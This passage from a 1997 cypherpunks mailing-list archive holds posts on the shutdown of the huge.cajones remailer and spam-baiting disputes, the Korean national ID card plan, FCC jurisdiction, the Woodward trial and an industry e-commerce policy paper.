: brought down Huge Cajones, and *NAMING NAMES*.  That way, even if the remailer
: shuts down, other remailer operators will learn about the tactics employed
: against it, know *WHO* made the demands, etc.  IOW, when you get an innocent
: sounding, polite complaint from xxxx@yyy.com alleging "abuse", here's the
: scenario that's likely to follow ...  (It's not too late to make that
: disclosure, Jeff.)

In fact, now is the time to.  Making a disclosure like this while I
was still running the remailer would have probably been a bad move.
Now that the remailer is closed, I'll name the names that I've got.

Beware... all of this is speculation, because huge.cajones was an
anonymous service, not even I can say with any authority that any
of the people named below had anything to do with the shutdown of
huge.cajones (or The MailMasher).  However, there are a number of
coincidences of timing.

I still don't know what the hell is going on with DataBasix, Wells Fargo
and Gary Burnore, but I suspect that someone used huge.cajones to say
something extremely unflattering about Burnore (from what I can tell,
he had it coming).  Burnore then decided that he would make things
difficult for me.  First, he wanted the user who had posted something
"inflammatory" about him revealed.  When I told him that I couldn't
do that, he carried on about mail logs and identifying the host that
a message came from (the usual).  I didn't explain to him that my
machine keeps logs, but not anything involving a *@cajones.com
address.  He then requested the logs, which I denied (and told him
to get his lawyer to send a request...)

I'll admit, after my second or third contact with Mr. Burnore, I
no longer was particularly civil with the guy.  He's a kook, and
really didn't deserve my courtesy.

Between the time he first contacted me, and the time I received the
letter from Belinda Bryan, is when the baiting of databasix addresses
began (slowly, with just a few posts).  After a while, I received
requests from the other members of DataBasix (including William McLatchie
(sp) (aka wotan) who actually seems to be a remailer supporter (?)).

It was at this point that I realized something was completely amiss.
I asked McLatchie to please tell me the story of DataBasix, and he
said that he was going to, but never did.  Anyone who can tell me
the story is invited to do so.

As a side note (and just because I am naming names).  Peter Hartly
(hartley@hartley.on.ca) yesterday spam-baited me.  Fortunately,
I've got good filters in place.

As another side note, I've seen nothing to make me believe that Belinda
Bryan is even a real person.  Anyone?

: > Given the importance of what Jeff was doing, I hope that he
: > did all that he could, before declaring defeat. If that is the case,
: > I commend him for a job well done. If not, why?

I can't claim to have done _everything_ that I could have done, but I
did certainly make an effort.  I'm not willing to go to court to defend
a practice like spam-baiting (and given the current public-opinion situation
and impending anti-UCE legislation, this would be a terrible test-case).

I am not new to threats of lawsuit, even ones that come from legitimate
lawyers.  About 8 months previous, I was threatened repeatedly by the
legal wing of the "Church" of Scientology.  I answered with a letter
from my lawyer that explained the policies of the remailer, and
threatened a harrassment lawsuit if the "Church" contacted me again asking
for information (that they now knew I didn't have) about a remailer user.
They complied, and went away (and haven't been too difficult with
other remailer operators lately).

: Agreed.  Otherwise, these "asshole(s)" are simply going to do it all over
: again against another remailer, eventually taking them all down one at a time.
Except that right now, new remailers are springing up.  If we could get
three more online for every one shut down, it wouldn't much matter, would
it?  I may very well end up running a mailer again in the future, but if
I do, it will probably be either a throwaway exit-man or a truely anonymous
middleman (i.e. nobody will actually know who is running it).  It also
will probably be hosted outside of the United States (Floating in
international waters with a sat feed would be nice).

: It's time for them to stand up and say "Next time you come for one of us
: he's
: not going quietly as the others have.  You'll have to face ALL of us at once,
: instead."

Aah, you imagine much more solidarity among remailer operators than actually
exists.  It doesn't work that way.  It would be nice if it did, but many of
us are running remailers on borrowed bandwidth (or have other "situations"
to be concerned about).  Being the squeaky wheel is not always a good idea
for many of the operators (most of whom try to keep a low profile).

The reality is, for all the good they do, remailers are tools that can
very easily be abused.  And, as the internet gets more and more commonplace,
the average Joe and Joesphine, who don't have the strict Cyber-Libertarian
viewpoints that are shared by most of us old-timers, will start to wonder
just why anyone would want to run a service that allows anyone to speak their
mind without fear of reprisal.  When you get people with more extreme
viewpoints (the ones who have a really legitimate need for anonymity) posting
all kinds of stuff to all kinds of places, it will get the attention of
Middle-America, which will then bring it to the attention of legislators.
Any time a legislator can say "This is a blow to Child Pornographers and
others who hide behind anonymity to commit crimes without fear of reprisal"
you can guarantee that the bill will pass.

When that happens, we're in trouble.  America is scared of computers, and
remailers are thought to be havens for the big 3 (Terrorists, Organized
Crime and Child Pornographers).  Now that the spammers are involved
(spammers possibly being hated more than the big 3), most users are
exposed to anonymous remailers in negative ways (Imagine what you would
think if the first time you heard about the existance of remailers, it
was because someone had spam-baited you, and then told you about it).

The right to anonymity in the US will be legislated away within 18 months,
partially because of spam.  I do hope there's a _good_ test case waiting,
and someone willing to fight it to the end, but I have my doubts.  Ultimately
the remailer network will be forced to move offshore, the way Crypto
development currently has.

Don't like the News?  Go out and make some of your own.

-Jeff

|o|                                                   |o|
|o| Jeff Burchell                     toxic@wired.com |o|
|o|- - - - - - - - - - - - - - - - - - - - - - - - - -|o|
|o|     I am not speaking for anyone but myself.      |o|
|o|                                                   |o|

--- END INCLUDED MESSAGE ---

This article is archived in DejaNews under their "old" database if you
wish to verify its authenticity.

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Mon, 17 Nov 1997 17:21:18 +0800
To: cypherpunks@cyberpass.net
Subject: Re: (Fwd) Victory For Microbroad
Message-ID: <199711170905.KAA06467@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 13 Nov 1997 at 21:45:14 -0800 Steve Schear quoted himself
as having written:

> "I've been wondering lately about the jurisdictional limits 
> of the FCC vis-a-vis the Article(s) of the Constitution from 
> which they derive their authority.  My understanding is that 
> the FCC is empowered under the Fed's interstate commerce 
> clauses.  If so, how valid is their jurisdiction over low 
> power and/or millimeter wave transmissions.  It seems a case 
> can be made that such transmissions represent little or no 
> possibility of interstate transmission."

Oh dear! If interstate commerce is indeed the constitutional 
excuse, er, basis for the FCC (and I don't know that it is),
then current doctrine would probably recognize the following
as providing FCC jurisdiction over micropower stations:

  *  Transmitter/components acquired in Interstate Commerce

  *  Electricity used was generated in part in another state

  *  Station owner deemed to have moved interstate to set up

  *  Air breathed by staff moved across state lines

  *  "Ether" inseparably integral with ether of other states

Once they assert that stuff, bashing a fellow radio station
employee with a burned-out klystron will be a federal crime.

Come to think of it, this might be a good time for anyone in
danger of being in a bar fight to make sure they are wearing
clothes manufactured entirely in the same state and to drink
only locally produced adult beverages.

The way things have been going the entire law enforcment and
criminal justice system could be co-opted by the feds, making
local police just deputized body-collectors for the federal
meat grinder.  Freeh's wet dream, I suppose.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 17 Nov 1997 23:28:58 +0800
To: cypherpunks@toad.com
Subject: Korean "red alert" -- national ID cards proposed
Message-ID: <v0300782cb0960e7c0959@[204.254.22.5]>
MIME-Version: 1.0
Content-Type: text/plain




> Date: Sun, 16 Nov 1997 15:04:32 +0900
> From: Ko Youngkyong <frontist@member.sing-kr.org>
> Subject: RED ALERT of Privacy in Korea!
>
> Dear Comrads,
>
> About the Electronic National ID Card project,
> situations gets rough in South Korea.
> The ruling party, Shin-han-kuk Dang, and some politicians
> of conservative Opposition party has passed related laws
> on ID card project on November 13 in Domestic Affair Session.
> It was a sudden terror to us and to the privacy of Korean people.
> In Korea, for a law to be passed, it must be passed in the partial
> session of National Assembly and be finally determined by
> whole conference(I don't assure whether it correct or not).
> Whole conference will be held on November 17.
> It may be difficult to stop passing of the law, though we lobby
> some M.P.s.
> If the law should be passed, we will and must begin a long,
> harsh struggle to the denial movement of ID card.
> We think it may take several years like Australia.
> We, Task Force against Electronic ID Card, and privacy advocates
> in Korea are planning demonstrations within 2,3 days and some other
> actions of expressing protest. We will do whatever we can.
>
> Keep your eyes on! Please inform your fellows of this crisis of privacy
> and help us in every way you can.
> It's RED ALERT of privacy in Korea.
>
> -----------------------------------------------------
> Korean NGO Task Force against Electronic National ID Card
> -----------------------------------------------------
> Homepage URL:   http://kpd.sing-kr.org/idcard/
> E-mail : frontist@member.sing-kr.org
> Phone : +82-2-855-1913
> Fax : +82-2-858-1913







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Mon, 17 Nov 1997 19:45:40 +0800
To: cypherpunks@cyberpass.net
Subject: Seeing Both Sides
Message-ID: <a0c766cd7eac94b862b5202e12d07b45@squirrel>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Bob Hettinga wrote:
>But then, logic, much less independent thinking, was never 
>Foucault's strong point.

I took this statement at face value, but out of curiousity I decided to find
out who this guy Foucault was.  The things I read about him lead me to 
believe otherwise.

Some quotes from Michel Foucault:

 "The judges of normality are present everywhere.  We are in
  the society of the teacher-judge, the doctor-judge, the 
  educator-judge, the 'social worker'-judge."

 "Prison continues, on those who are entrusted to it, a work
  begun elsewhere, which the whole of society pursues on each
  individual through innumerable mechanisms of discipline."

How quick we are to condemn those who step out of the "norm", no?  As soon 
as someone says something even slightly controversial, our inner censors 
rush in to separate ourselves from that person, to chastise him, to condemn 
him, regardless of the relationship we have developed with him in the past.

There is this unfortunate property in man that leads him to disassociate 
himself from the ideas he holds true if it is convenient, and especially if 
it will allow him to avoid the ridicule, hatred and disdain of others.  In 
the never ending "pursuit of happiness" we seek to make our lives so 
comfortable that we will give up that which we hold dearest.

 "The work of an intellectual is not to mould the political 
  will of others; it is, through the analyses that he does in 
  his own field, to re-examine evidence and assumptions, to 
  shake up habitual ways of working and thinking, to dissipate
  conventional familiarities, to re-evaluate rules and 
  institutions and...to participate in the formation of a 
  political will (where he has his role as citizen to play)."

In other words, to make people think.  This is the goal of the intellectual. 
To subtly influence the mass of humanity by appealing to their minds, their 
reason, instead of their base instincts and emotions.  Tolerance and 
acceptance are results brought about in us by communion with the mind, that 
which is greatest in us.  Hatred, persecution, violence are what we fall 
back upon when we cease to live to our fullest potential.  We degenerate 
into the animals we once were.

Once again, Bob wrote:
>The world's foremost pseudomystical relativist cited to support an
>absolutist position. The logic escapes me. But then, logic, much less
>independent thinking, was never Foucault's strong point.

Perhaps one way of looking at it is that if you can't see the black and
the white, you're missing the whole picture.

After all, who would think that one would need to use an anonymous remailer
and a pseudonym to express oneself in a free and open society such as ours?

Nerthus

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ian Sparkes <isparkes@q9f47.dmst02.telekom.de>
Date: Mon, 17 Nov 1997 17:25:10 +0800
To: cypherpunks@ssz.com
Subject: Re: How anonymous?
In-Reply-To: <145e152a12d12c409f67fd9e4aaa33f4@anon.efga.org>
Message-ID: <3.0.2.32.19971117102015.006a8080@q9f47.dmst02.telekom.de>
MIME-Version: 1.0
Content-Type: text/plain



At 20:36 14.11.97 -0500, you wrote:
>> It seems that if Dick has a certain vocabulary,
>> uses a certain sentence structure, etc., and
>> regularly posts using a nym, that this form and
>> content could be traced to Dick, so the likelihood
>> of the post coming from him and not Jane would
>> be that much increased.
>
>This is true.  Probably most people know who I am.
>
>

If all anonymous posters make a concerted effort to write like Mr.
Nakatuji, not only will anonymity be assured, but the list will be a *lot*
funnier.


            \!!/
          ( o  o )  
+------ooO--(_)--Ooo-+---------------------------------------------------+
|  .oooO             | PGP5 Key Fingerprint:                             |  
| (    )    Oooo.    | 1F59 CADC 951E ADAD 5EA5  9544 FCCE 8E30 4988 551E|
|  \   (    (    )   | "Ian.Sparkes@T-Online.de" "Ian.Sparkes@ac.com"    |
|    \__)    )  /    |                                                   |
|           (__/     | Life empiricist and confused ethical hedonist     |
+--------------------+---------------------------------------------------+
| I'm not your lawer, you're not my client. This is therefore not advice |
+------------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jyri Kaljundi <jk@stallion.ee>
Date: Mon, 17 Nov 1997 16:31:44 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Exporting crypto from Japan
In-Reply-To: <v03102823b094cab52ad8@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.971117102403.17390E-100000@nebula>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 16 Nov 1997, Tim May wrote:

> And, almost immediately, the Japanese RSA chip became "unavailable."

Which reminds me of a cryptochip done here in Estonia, which does 768-bit
RSA encryption / key exchange and 10Mbps 128-bit IDEA. It should be fairly
easy to change RSA length to 1024 or 2048. If someone is curious about the
price I could find it out.

Jyri Kaljundi
jk@stallion.ee
AS Stallion Ltd
http://www.stallion.ee/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "S. M. Halloran" <mitch@duzen.com.tr>
Date: Mon, 17 Nov 1997 16:48:40 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Bell vs. Woodward--justice?
In-Reply-To: <199711121324.PAA14037@ankara.duzen.com.tr>
Message-ID: <199711170939.LAA27404@ankara.duzen.com.tr>
MIME-Version: 1.0
Content-Type: text/plain



On 13 Nov 97, Paul Bradley <paul@fatmans.demon.co.uk> was found to have 
commented thusly:

> 
> > This 19-year old was way out of her league and not at all fit for 
> > child care activities. 
> 
> Obviously, but this isn`t the point in question.
>

I'd say it was entirely the question (or perhaps you can tell me the 
specific question you are addressing).  She was in court because there 
are certain people in this world whether it is appropriate to be 
physical in any manner--even when attempting to be (medically) 
helpful--with an infant, small child, perhaps even a minor.

> > I am a firm believer that baby care for 3 year 
> > olds and less should be licensed.  The requirements for the license 
> > would be minimal.  It just merely shows that you understand that babies 
> > less than 1 year of age often cry--some hardly at all, others damn near 
> > all the time--and that 97% of the time there is a reason that can be 
> > found and the solution implemented, and the other 3% of the time the 
> > reason is beyond our understanding, but things will just seem to take 
> > care of themselves.  
> 
> Wrong, there is no justification for licensing whatsoever, I suggest 
> parents taking on carers for their children agree a responsibility
> distribution for the welfare of the child, and have the good sense not to 
> employ inept unqualified childcare staff. The parents are much to blame 
> in the death of the child, particularly in this case because they were 
> both qualified doctors and did not notice the child was unwell.
> I can see a motivation for wanting better regulation, but it is attacking 
> the situation in the wrong way, more laws never help. A voluntary 
> organisation for childcare workers, admission to which depended on 
> fulfilling the requirements you outline above for your licence idea, 
> would be useful, concerned parents could simple ensure their chosen 
> applicant was a member of the organisation before hiring them. Mandatory 
> licensing is wrong.

Don't get me wrong...I am no socialist who is saying that govt is there 
to do everything for us.  You didn't read in any of my messages that I 
took away the ultimate responsibility from the parents, who are the 
last word in securing the best interests of their children.  I 
currently live in a society which might be an anarchist's dream in 
certain respects:  there is virtually no licensing whatsoever of the 
things you take for granted:  child care, operating a motor vehicle.  
(Actually there is a licensing system for drivers, but a law is only a 
law if it is enforced, and since enforcement is virtually nil or at the 
least haphazard).  I will support a mandatory licensing scheme for 
child care as long as the govt involves itself with licensing other 
less important matters that themselves supposedly require licensing:  
such as the practice of medicine or the practice of law or the practice 
of plumbing.  Licensing--in my eyes, is but a simple barrier to leap 
yet tough enough to show that you are serious about getting into this 
business.  I care less that barbers & surgeons & physicians & various 
other bloodletters, as well as the guy who knows that shit runs 
downhill and Friday is payday (the common electrician's joke about 
plumbers) are licensed than that someone (or some nongovt 
organization) has taken the first step for me and is willing to endorse 
the smiling face at my door who is to be entrusted with my spawn.  
Throw out ALL licensing schemes and then I'll consider de-regulation of 
barriers to child killers and molesters.

> 
> > The licensing procedure might also be a way of 
> > checking if you have the minimal temperment to deal with infants and 
> > small children.
> 
> No, this is of no value, I don`t have the right temperament to deal with 
> children, I am too easily made angry by them, this does not indicate I 
> would harm a child, I simply have the sense to recognise I am not suited 
> to caring for children.
> I do not see anyway how such a character judgement might be made, and by who?

I was overreaching when I said that the licensing procedure would 
involve a psychoanalysis or something like that.  The licensing 
procedure would only involve a simple test wherein you are asked 
questions about baby care and how you might respond to certain 
situations.  It might not even flunk the test-taker who said "If I see 
an incessantly screaming baby, I am most like to throw it through the 
wall."  The licensing procedure would be a way of informing or 
reminding someone about to undertake this task just what their 
liabilities are if something goes wrong and they were ignorant of the 
things they should have done.  In this case, the "check" on temperment 
is an inquiry into "how much do you really understand about what you 
are going to do?"

The licensing of medicine and law and plumbing is 
really nothing but an acknowledgement that you know how to conform to 
standard practice and are aware of the heresies of tradition and 
convention.  You might undertake to do something radical and 
unacceptable to your colleagues or the standards set by your 
professional society, but you are warned that you assume the blame if 
something goes wrong.

> 
> > What about the judge?  His first purpose is to make sure the law is 
> > followed, especially with respect to trial procedure.  But with the law 
> > is JUSTICE!  It has always been my belief that the ultimate goal of 
> > these sacred occasions is justice. 
> 
> And justice cannot be served when an appointed official can overturn or 
> reduce a conviction, only an appeal should do this. Sure, if the jurors had 
> ignored proper procedure it is the duty of the judge to declare a 
> mistrial, that is entirely different from reducing a charge and basically 
> letting a convicted felon go free.
> 

Are you saying wisdom and justice can only be had when we put the 
decision to a larger number of people, presuming an appellate court is 
not itself the purview of a SINGLE appellate court justice?  Some 
anarchist on this list must have mentioned the principle of AMERICAN 
justice:  it is better to let nine guilty men go free than let one 
innocent man go to prison.  For better or worse, that is the American 
way.  You will note that an American judge (Roy Bean excepted) can 
overturn a guilty verdict, but not an acquittal.  It is rarely done 
anyway, since CNN's cameras are not in every courtroom and few foreign 
nationals get led in chains to American docks.

Do I think justice was done?  How the hell should I know!?  I was not 
in the courtroom, although I do admit to having made a judgement 
(guilty of involuntary manslaughter;  I correct an earlier statement 
where I said 'voluntary manslaughter').  The burden of this entire 
matter is now on the judge's shoulders, and if there is a God, may this 
God show as much mercy to the judge as he showed to Woodward.  (The 
parents can go to hell.)

> > I am rather curious to know where public opinion lies in the UK, just 
> > to get a fix on cultural differences.
> 
> The opinion is generally very simplistic, most people think she 
> didn`t do anything, and ask most people if she shook the child and they 
> will say she didn`t, even though Woodward herself doesn`t deny doing so.

The answer to the poll question probably is meant to reflect:  "did she 
shake the child TO DEATH?" and the masses are probably replying in this 
light.

> Most people don`t have any defined opinion on the judicial aspect of the 
> case as regards the actions of the judge, other than to be pleased he 
> freed her. The UK media spin has been very favourable to the Woodwards.
> I also think there is a certain amount of truth in the suggestion that 
> the defendant was convicted by the jury because of her traditional 
> British "stiff upper lip" reserve, wheras the Eappen family knew just how 
> to play the court with the usual American "Victim impact statement" 
> designed to be emotive and persuasive to the judge in gaining a high 
> sentence, of course in this case it had little effect. 

Despite what foreign nationals might believe, 99.9% of American judges 
(i.e., those not in the United States Supreme Court and in the federal 
court system) make it their duty to insulate themselves from public 
pressure on these matters.  Most of them truly don't give a damn what 
the American public thinks about them or that they may be reversed on 
appeal, assuming the judge truly believes in what he/she is doing.  I 
think the judge in the Woodward case saw through all the public 
relations campaigning and press offensive.  He knows how 
media-intensive the open American criminal and civil justice has 
become, especially if he has been on the bench 10 or more years, and he 
knows that the baby is dead and cannot be resurrected and he wants to 
see Woodward understand what happened and realize if she had any 
responsibility and also important, whether she is remoresful if she is 
to shoulder some of the blame.

I suspect he looked for all these things, and figured that Woodward has 
been sufficiently punished, truly guilty or not.  As for Americans 
not quite impressed with the "stiff upper lip":  I know quite a few 
Englishmen here who think that the reserved one is me.  I think "the 
stiff upper lip" is something the British tourism industry likes to 
promote, and that Prince Charles is told to maintain despite it going 
against his nature.

> I don`t know if you have seen a well publicised British trial (cameras 
> aren`t allowed into court rooms here so many never get to be high profile), 
> but although the system is much the same as regards proper procedure, the 
> atmosphere is entirely different. Something like the Eappen victim 
> statement would make a UK jury sick, and probably encourage an aquittal.
> 

I wasn't privy to the media blitz in the states (I can't even get CNN 
International here!) during the trial, but I rather suspect this crap 
also sickens quite a few Americans.  Not every black person in America 
wanted to set OJ free just because he was 'a bruh thuh goin' agin' the 
system.'  And not every white guy wanted to hang the double murderer 
either.  I know in the end however, that a British jury would set their 
minds on the case of an American defendant, not voting innocent just 
'cause the parents want to preen before the national press (and make 
book deals), and not voting guilty just cause American culture, if it 
exists, turns their stomach.


Mitch Halloran
Research Biochemist/C programmer/Sequoia's (dob 12-20-95) daddy
Duzen Laboratories Group
Ankara   TURKEY
mitch@duzen.com.tr





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 18 Nov 1997 00:16:34 +0800
To: cypherpunks@toad.com
Subject: Secret No More: FBI Files
Message-ID: <1.5.4.32.19971117160747.00c5ebc0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



An informative site, titled "Secret No More," lists FBI 
files of 2000 targets compiled by Michael Ravnitzky from
FOIA requests:

   http://www.crunch.com/01secret/01secret.htm

Happy to report that at least three of the targets (one named
thrice) dragnetted this rioter in younger days at Columbia, 
maybe others have shagged me since.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Tue, 18 Nov 1997 03:45:09 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism (was: about RC4)
Message-ID: <199711171934.NAA24335@dfw-ix16.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Tim May wrote:
>If Bob has objections or differences of opinion, fine. But he should not
>squander his reputation capital by foaming about my personal choices, by
>referring to snot running down my barrel, by claiming I said I was going to
>kill a judge, and other such lies.
>
>And he really ought to tone down his "Hunter S. Thompsen wannabee" style of
>writing. It was old a couple of years ago.

I am of the opinion that Hettinga still has some value, but he should
work on his style and do a little more homework before posting.

I think what he is trying to convey is relentless positive energy and
friendliness.  This may work in person, but it tends to fail in ASCII.

He also doesn't seem to be aware that a good portion of his articles
are insulting.  It's somewhat understandable if he is a recovering
Democrat.  I've seen cases like this before and they are treatable.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 18 Nov 1997 05:33:27 +0800
To: remailer-operators@anon.lcs.mit.edu
Subject: Re: Databasix conspiracy theories
Message-ID: <0738cb51233c79e1c67184be72abdb44@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Andy Dustman <andy@neptune.chem.uga.edu> wrote:

> > If I remember correctly, the documentation for at least one of the nymservers
> > suggested that posting through a remailer and pasting in the return address
> > would be quicker and impose less burden on the server than having to process
> > each outgoing message through the server.
>   
> That's possible, and if true, it's probably in the documentation for
> redneck. Personally, I would prefer to have the server handle those
> messages, simply because there is a certain amount of "authentication",
> i.e., you can be reasonably sure that that nym really sent the message and
> wasn't forged.

I think it's just as well that people NOT get the idea that the e-mail
address in the headers (from *ANY* ISP) is somehow authenticated and reliable.
The only advantage to sending the message through the 'nymserver would be if 
the server itself would PGP sign the message with its own key to prove that
the message was sent through the server by a properly authenticated user.

The remailers themselves have become the victims of forgeries.  Back during
the DataBasix "reign of [t]error" directed at Jeff Burchell, the "DataBasix
cabal" (called that by a Netcom news admin, BTW) accused the Mailmasher
'nymserver of being used for "forgery" of Gary Burnore's name and address
to various posts.  And now, even after the cajones.com domain has apparently
bitten the dust, I've seen complaints of spam being received by people that's
been forged to look as if it had come from that domain.  In the case of the
Burnore forgeries, the Path: was only traceable back to the mail2news gateway, 
so the header items implicating Mailmasher could have easily been forged just 
as Mr. Burnore's address was.  Nevertheless, these alleged "forgeries" 
comprised the rationale used by a DataBasix employee, Billy McClatchie, for 
demanding the Mailmasher be shut down.

Any kid with a throwaway Netcruiser account and a copy of Netscape or some
other mailer that allows you to set an arbitrary From: address on outgoing
SMTP mail can easily "forge" a return address, and certainly do a more 
convincing job than you could ever hope to do by pasting headers through a 
remailer.  I'll bet if that happened, people like Mr. Burnore would not be
so quick to demand that Netcom be shut down if it can't put a stop to this.

> > I'm not sure that even that is a wise precedent to set. In itself it seems
> > innocuous enough, but it could always lead to a demand, "Well, you already
> > mangle e-mail addresses contained in the bodies of posts, so why not also
> > alter the contents of posts in the following way..."
>     
> Well, I'm not real happy to have to do it. It was in response to a very
> active spam-baiting campaign, apparently directed at the Databasix people,
> and primarily consisted of lists of addresses with no (or very little)
> other text. I doubt this methodology could realistically be applied to
> anything else (or that I would consider doing it for anything else).

Your solution was undoubtedly more clever than they had counted on.  Unless I
miss my guess, they were hoping that anything that contained one of their
e-mail addresses would get blocked.  They did manage to convince Jeff Burchell
to do that, at least until he figured out what they were up to and he
discontinued his content filtering.

I once tried an experiment.  I got one of those free e-mail accounts and stuck
its e-mail address in the body of a Usenet post that was sent to the same set 
of NGs that were involved in this "spam baiting".  I did this once daily for 
several weeks and only received one piece of spam.  Knowing that, I could have
confidently "spam baited" myself, if I wished, without any real consequences.

Back when this was all happening, Gary was posting perhaps a dozen messages a
day to usenet with his own (unmangled) address in the headers.  I doubt that
he'd have noticed any difference from having his address included in the
BODIES of anonymous posts.  Anyone who was going to harvest his address would 
have already done so from his own posts.

> > BTW, is there any evidence to indicate that anyone is really harvesting e-mail
> > addresses from the BODIES of Usenet posts? Gary Burnore posts his flames quite
> > widely, so it's quite likely that any bulk e-mailing lists he's on is the
> > result of his (non-mangled) e-mail address being in the From: line of his own
> > posts.
>   
> I really don't know. I do know when the spam-baiting campaign started, the
> spam-baiters would also use the remailers to contact the people
> spam-baited to let them know they had been spam-baited so they would
> complain to us. 

That's even more evidence that the real target of the spam baiter(s) was the
remailers themselves.  Why else would you "attack" people, then anonymously
warn them of what you'd done?  Perhaps that's why the spam baiting reportedly
was directed not only at the DataBasix gang, but also at their detractors,
such as Ron Guilmette, Scott Dentice, etc.

I did notice several non-anonymous Usenet "warnings" going out from Peter 
Hartley <hartley@hartley.on.ca>, the sysadmin of an infamous Canadian 
domain that provides autoresponders for spammers.  He was even "helpful" 
enough to include several contact addresses for Jeff  Burchell and his 
upstream providers.  I'm not sure how/why he was involved, unless the spam 
baiters managed to push his buttons and sucker him into joining their 
clandestine anti-remailer campaign.

> (There was another set of letters going around claiming to
> be pro-remailer, but I was always skeptical that that was the true
> intention.)

Sounds like a classic, "F.U.D." disinformation campaign like another
anti-privacy bunch, the Co$, would engage in.  What better way to discredit
remailers that to, for example, send out anonymous messages saying "Preserve
your rights -- defend remailers!" and making it look like the message came
from a member of the KKK, or NAMBLA, or some other unpopular group.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 18 Nov 1997 04:51:46 +0800
To: cypherpunks@toad.com
Subject: Speed the Net
Message-ID: <1.5.4.32.19971117203049.00ca75a0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



   Wall Street Journal, November 17, 1997, p. 28

   Congress Asked To Help Speed Internet Growth 

   High-Tech Firms Propose Controls to Build Trust In Digital
   Marketplace 

   By John Simons

   Washington - In an attempt to assert their newfound clout
   along the Potomac, 11 major U.S. high-technology companies
   are asking Congress and the White House to speed the growth
   of electronic commerce.

   Among the things they want are a moratorium on Internet
   taxes, the addition of Internet-specific language to the
   Uniform Commercial Code and a loosening of
   encryption-export controls.

   In an 18-page policy paper, to be released tomorrow, the
   chief executives of companies including Compaq Computer
   Corp., Digital Equipment Corp., Hewlett-Packard Co.,
   International Business Machines Corp., and Sun Microsystems
   Inc. outline their recommendations on several prickly
   issues, including sales taxes and tariffs, encryption,
   consumer privacy and content regulation. The coalition,
   also known as the Computer Systems Policy Project, urges
   governments to act quickly to help cyber-merchants foster
   consumer trust in the emerging digital marketplace. Most of
   the companies that endorsed the proposals are poised to
   take advantage of what could be a $200 billion-plus sales
   arena by the year 2000.

   Other companies in the coalition include Apple Computer
   Inc., Data General Corp., NCR Corp., Silicon Graphics Inc.,
   Stratus Computer Inc. and Unisys Corp.

   Although the policy recommendations are another example of
   Silicon Valley's current hot and heavy relationship with
   the nation's capital, the paper is hardly a love letter.
   One familiar refrain: Though industry needs government's
   help, Washington should keep its presence to a minimum.
   There is even a sense that some of the CEOs are reluctant
   to sully themselves by becoming overly involved in matters
   of politics.

   "I have no specific interest in lobbying in the strict
   sense," says Lars Nyberg, the CEO of NCR, co-chairman of
   the authoring committee with IBM's Louis V. Gerstner Jr.
   "Politicians can help this change or they can slow the
   evolution dramatically. We have the responsibility to make
   sure that doesn't happen. So, this is just something we
   have to do."

   The paper's authors are perhaps at their least subtle where
   they chide the Federal Communications Commission for what
   they believe is a plodding and shoddy implementation of the
   Telecommunications Act of 1996. The group argues that in
   order to populate the new digital domain, consumers need
   inexpensive, readily available access to an array of
   telecommunications services.

   Coalition members are concerned about the lack of
   competition in local telephone markets. They insist that
   local monopolies have hampered technological progress.
   "Until there is competition in the local markets for data
   and digital traffic, there will be no pressure on the
   incumbent telephone carriers to deploy new technologies."
   the group states.

   On the tax issue, the CEOs advocate "tax neutrality,"
   meaning that no tax system should discriminate based on the
   way a consumer purchases a product. Uncoordinated attempts
   to "force fit" existing tax structures, for example, "could
   impose discriminatory and multiple taxes on e-commerce
   transactions." they say. To avoid the problem, the group
   prods Congress to pass pending legislation to put a
   moratorium on new Internet sales taxes while industry,
   federal and local governments worked out a national
   standard for levying taxes on Internet commerce. The
   paper's authors are also pushing for a comparable
   international moratorium.

   As for the Internet's legal framework, the paper calls for
   an immediate amendment to the Uniform Commercial Code, one
   that updates contract laws and consumer protection rules
   for on-line transactions.

   The paper is most vague in its prescriptions for encryption
   policy, an area where government and industry have clashed
   on numerous occasions. The U.S. has held tight restrictions
   on the export of strong encryption software, which can be
   used to ensure security for Internet transactions,
   contending that it would be impossible to protect citizens
   from hacker attacks and other digital misdeeds if strong
   encryption were  made available overseas. The coalition is
   critical of the administration's stance, but offers few
   specific solutions.

   In part, the paper is a response to a challenge the White
   House issued last summer. In July, the Clinton
   administration released its "Framework for Global
   Electronic Commerce," a far-reaching set of policy
   prescriptions authored by Ira Magaziner, the president's
   senior adviser on policy development. Throughout the paper,
   Mr. Magaziner stressed that government should take a
   passive role in regulating the Internet. His preferred
   alternative: Help industry to set its own rules and standards.

   Mr. Magaziner called the coalition's paper "a very
   interesting, useful and helpful initiative." He said, "The
   principles are consistent with what we're hoping for. And,
   what's important is they are stepping up and leading."

   Convincing Congress, much less foreign entities, to agree
   on these issues will be difficult, however. Over the next
